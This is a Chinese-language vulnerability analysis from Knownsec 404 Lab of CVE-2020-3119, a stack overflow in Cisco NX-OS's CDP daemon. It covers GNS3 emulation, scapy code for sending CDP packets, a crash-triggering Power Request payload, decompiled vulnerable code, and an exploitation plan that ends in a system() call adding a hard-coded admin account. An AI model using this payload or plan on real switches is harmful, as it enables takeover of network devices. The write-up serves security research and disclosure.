CVE-2020-3119 Cisco CDP 協議棧溢出漏洞分析

作者:Hcamael@知道創宇404實驗室

時間:2020年03月19日

Cisco Discovery Protocol(CDP)協議是用來發現局域網中的Cisco設備的鏈路層協議。

最近Cisco CDP協議爆了幾個漏洞,挑了個棧溢出的CVE-2020-3119先來搞搞,Armis Labs也公開了他們的分析Paper。

01 環境搭建

雖然最近都在搞IoT相關的,但是還是第一次搞這種架構比較複雜的中型設備,大部分時間還是花在折騰環境上。

3119這個CVE影響的是Cisco NX-OS類型的設備,去Cisco的安全中心找了下這個CVE,搜搜受影響的設備。發現受該漏洞影響的設備都挺貴的,也不好買,所以暫時沒辦法真機測試研究了。隨後搜了一下相關設備的固件,需要氪金購買。然後去萬能的淘寶搜了下,有代購業務,有的買五六十(虧),有的賣十幾塊。

固件到手後,我往常第一想法是解開來,第二想法是跑起來。最開始我想着先把固件解開來,找找cdp的binary,但是在解固件的時候卻遇到了坑。

如今這世道,解固件的工具也就binwalk,我也就只知道這一個,也問過朋友,好像也沒有其他好用的了。(如果有,求推薦)。

但是binwalk的算法在遇到非常多的壓縮包的情況下,非常耗時,反正我在掛那解壓了兩天,還沒解完一半。在解壓固件這塊折騰了好久,最後還是無果而終。

最後只能先想辦法把固件跑起來了,正好知道一個軟件可以用來仿真Cisco設備————GNS3。

GNS3的使用說明

學會了使用GNS3以後,發現這軟件真好用。

首先我們需要下載安全GNS3軟件,然後還需要下載GNS3 VM。個人電腦上裝個GNS3提供了可視化操作的功能,算是總控。GNS3 VM是作為GNS3的服務器,可以在本地用虛擬機跑起來,也可以放遠程。GNS3仿真的設備都是在GNS3服務器上運行起來的。

1.首先設置好GNS3 VM

2.創建一個新模板

3.選擇交換機 Cisco NX-OSv 9000

在這裡我們發現是用qemu來仿真設備的,所以前面下載的時候需要下載qcow2。

隨後就是把相應版本的固件導入到GNS3 Server。

導入完成後,就能在交換機一欄中看到剛才新添加的設備。

4.把Cisco設備拖到中央,使用網線直連設備

這裡說明一下,Toolbox是我自己添加的一個ubuntu docker模板。最開始我是使用docker和交換機設備的任意一張網卡相連來進行操作測試的。

不過隨後我發現,GNS3還提供的了一個功能,也就是圖中的Cloud1,它可以代表你宿主機/GNS3 Server中的任意一張網卡。

因為我平常使用的工具都是在Mac中的ubuntu虛擬機里,所以我現在的使用的方法是,讓ubuntu虛擬機的一張網卡和Cisco交換機進行直連。

PS:初步研究了下,GNS3能提供如此簡單的網絡直連,使用的是其自己開發的ubridge,Github上能搜到,目測是通過UDP來轉發流量包。

在測試的過程中,我們還可以右擊這根直連線,來使用wireshark抓包。

5.啟動所有節點

最後就是點擊上方工具欄的啟動鍵,來啟動你所有的設備,如果不想全部啟動,也可以選擇單獨啟動。

02 研究

Cisco 交換機

不過這個時候網絡並沒有連通,還需要通過串口連接到交換機進行網絡配置。GNS3默認情況下會把設備的串口通過telnet轉發出來,我們可以通過GNS3界面右上角看到telnet的ip/端口。

第一次連接到交換機需要進行一次初始化設置,設置好後,可以用你設置的管理員賬號密碼登陸到Cisco管理shell。

經過研究,發現該設備的結構是,qemu啟動了一個bootloader,然後在bootloader的文件系統裏面有一個nxos.9.2.3.bin文件,該文件就是該設備的主體固件。啟動以後是一個Linux系統,在Linux系統中又啟動了一個虛擬機guestshell,還有一個vsh.bin。在該設備中,用vsh替代了我們平常使用Linux時使用的bash。我們telnet連進來後,看到的就是vsh界面。在vsh命令中可以設置開啟telnet/ssh,還可以進入Linux shell。但是進入的是guestshell虛擬機中的Linux系統。

本次研究的cdp程序是無法在虛擬機guestshell中看到的。經過後續研究,發現vsh中存在python命令,而這個python是存在於Cisco宿主機中的nxpython程序。所以可以同python來獲取到Cisco宿主機的Linux shell。然後通過mac地址找到你在GNS3中設置連接的網卡,進行ip地址的設置。

bash  Cisco# python  Python 2.7.11 (default, Feb 26 2018, 03:34:16)  [GCC 4.6.3] on linux2  Type "help", "copyright", "credits" or "license" for more information.  >>> import os  >>> os.system("/bin/bash")  bash-4.3$ id  uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)  bash-4.3$ sudo -i  root@Cisco#ifconfig eth8  eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07            inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0            UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1            RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61            TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0            collisions:0 txqueuelen:1000            RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)    root@Cisco#ps aux|grep cdp  root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd  root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

設置好ip後,然後可以在我們mac上的ubuntu虛擬機裏面進行網絡連通性的測試,正常情況下這個時候網絡已經連通了。

之後可以把ubuntu虛擬機上的公鑰放到cisoc設備的/root/.ssh/authorized_keys,然後就能通過ssh連接到了cisco的bash shell上面。該設備的Linux系統自帶程序挺多的,比如後續調試的要使用的gdbserver。nxpython還裝了scapy。

使用scapy發送GDP包

接下來我們來研究一下怎麼發送cdp包,可以在Armis Labs發佈的分析中看到cdp包格式,同樣我們也能開啟Cisco設備的cdp,查看Cisco設備發送的cdp包。

Cisco#conf ter  Cisco(config)# cdp enable  # 比如我前面設置直連的上第一個網口  Cisco(config)# interface ethernet 1/7  Cisco(config-if)# no shutdown  Cisco(config-if)# cdp enable  Cisco(config-if)# end  Cisco# show cdp interface ethernet 1/7  Ethernet1/7 is up      CDP enabled on interface      Refresh time is 60 seconds      Hold time is 180 seconds

然後我們就能通過wireshark直接抓網卡的包,或者通過GNS3抓包,來研究CDP協議的格式。

因為我習慣使用python寫PoC,所以我開始研究怎麼使用python來發送CDP協議包,然後發現scapy內置了一些CDP包相關的內容。

下面給一個簡單的示例:

from scapy.contrib import cdp  from scapy.all import Ether, LLC, SNAP
# link layer  l2_packet = Ether(dst="01:00:0c:cc:cc:cc")  # Logical-Link Control  l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()  # Cisco Discovery Protocol  cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)  deviceid = cdp.CDPMsgDeviceID(val=cmd)  portid = cdp.CDPMsgPortID(iface=b"ens38")  address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))  cap = cdp.CDPMsgCapabilities(cap=1)  cdp_packet = cdp_v2/deviceid/portid/address/cap  packet = l2_packet / cdp_packet  sendp(packet)  

觸發漏洞

下一步,就是研究怎麼觸發漏洞。首先,把cdpd從設備中給取出來,然後把二進制丟到ida里找漏洞點。根據Armis Labs發佈的漏洞分析,找到了該漏洞存在於cdpd_poe_handle_pwr_tlvs函數,相關的漏洞代碼如下:

if ( (signed int)v28 > 0 )        {          v35 = (int *)(a3 + 4);          v9 = 1;          do          {            v37 = v9 - 1;            v41[v9 - 1] = *v35;            *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));            if ( !sdwrap_hist_event_subtype_check(7536640, 104) )            {              *(_DWORD *)v38 = 104;              snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %dn", v37, *(&v40 + v9));              sdwrap_hist_event(7536640, strlen(&s) + 5, v38);            }            if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )            {              v24 = *(&v40 + v9);              buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %dn");            }            snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %dn", v37, *(&v40 + v9), v24);            sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);            *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);            ++v35;            ++v9;          }          while ( v9 != v28 + 1 );        }

後續仍然是根據Armis Labs漏洞分析文章中的內容,只要在cdp包中增加Power Request和Power Level就能觸發cdpd程序crash:

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)  power_level = cdp.CDPMsgPower(power=16)  cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

漏洞利用

首先看看二進制程序的保護情況:

$ checksec cdpd_9.2.3      Arch:     i386-32-little        RELRO:    No RELRO      Stack:    No canary found      NX:       NX enabled      PIE:      PIE enabled      RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

發現只開啟了NX和PIE保護,32位程序。

因為該程序沒法進行交互,只能一次性發送完所有payload進行利用,所以沒辦法泄漏地址。因為是32位程序,cdpd程序每次crash後會自動重啟,所以我們能爆破地址。

在編寫利用腳本之前需要注意幾點:

1.棧溢出在覆蓋了返回地址後,後續還會繼續覆蓋傳入函數參數的地址。

 *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

並且因為在漏洞代碼附近有這樣的代碼,需要向a1地址附近的地址寫入值。如果只覆蓋返回地址,沒法只通過跳轉到一個地址達到命令執行的目的。所以我們的payload需要把a1覆蓋成一個可寫的地址。

2.在cdpd_poe_handle_pwr_tlvs函數中,有很多分支都會進入到cdpd_send_pwr_req_to_poed函數,而在該函數中有一個__memcpy_to_buf函數,這個函數限制了Power Requested的長度在40位元組以內。這麼短的長度,並不夠進行溢出利用。所以我們不能進入到會調用該函數的分支。

      v10 = *(_WORD *)(a1 + 1208);        v11 = *(_WORD *)(a1 + 1204);        v12 = *(_DWORD *)(a1 + 1212);        if ( v32 != v10 || v31 != v11 )

我們需要讓該條件判斷為False,不進入該分支。因此需要構造好覆蓋的a1地址的值。

3.我們利用的最終目的不是執行execve("/bin/bash"),因為沒法進行交互,所以就算執行了這命令也沒啥用。那麼我們能有什麼利用方法呢?第一種,我們可以執行反連shell的代碼。第二種,我們可以添加一個管理員賬號,比如執行如下命令:

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

我們可以通過執行system(cmd)達到目的。那麼接下來的問題是怎麼傳參呢?經過研究發現,在CDP協議中的DeviceID相關的字段內容都儲存在堆上,並且該堆地址就儲存在棧上,我們可以通過ret來調整棧地址。這樣就能成功向system函數傳遞任意參數了。

最後放一個演示視頻:

https://images.seebug.org/content/images/2020/03/325c1a4c-2009-4329-ad20-59b3db5760e3.gif-w331s

參考鏈接

  • https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf
  • https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce
  • https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp
  • https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html